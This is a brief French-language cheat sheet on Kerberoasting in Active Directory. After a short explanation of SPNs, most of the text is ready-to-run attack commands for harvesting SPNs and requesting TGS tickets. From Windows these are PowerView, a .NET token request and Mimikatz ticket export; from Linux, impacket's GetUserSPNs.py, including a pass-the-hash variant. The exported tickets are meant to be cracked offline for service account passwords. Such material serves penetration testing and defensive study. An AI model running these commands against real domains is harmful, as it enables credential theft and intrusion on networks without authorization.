Kerberoast

Kerberoast est une attaque basée sur la demande de TGS et sur les attributs SPN de comptes Active Directory.

SPN (Service Principal Name)

Un nom de principal de service (SPN) est un identifiant unique d’une instance de service. Les SPN sont utilisés par l’authentification Kerberos pour associer une instance de service à un compte de connexion au service.

Cet exploit consiste à rechercher un SPN lié à l’utilisateur, faire une demande de TGS pour ce SPN, exporter puis cracker le ticket pour retrouver le mot de passe.

Cette attaque requiert des identifiants valides au sein du domaine

A partir de Windows

# Récolter les SPN
Get-NetUser -SPN | select serviceprincipalname # PowerView
.\GetUserSPNs.ps1 # Autre script dédié

# Demander un ticket TGS en mémoire à partir d'un SPN
Add-Type -AssemblyName System.IdentityModel 
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "ServicePrincipalName" # Example: MSSQLSvc/mgmt.domain.local 

# Lister les tickets Kerberos en mémoire
klist 

# Exporter les tickets
Invoke-Mimikatz -Command '"kerberos::list /export"'

A partir de Linux

GetUserSPNs.py -request -dc-ip $DC_IP $DOMAIN/$USER -outputfile $OUTPUT_FILE
GetUserSPNs.py -request -dc-ip $DC_IP $DOMAIN/$USER -hashes $LM:$NT -outputfile $OUTPUT_FILE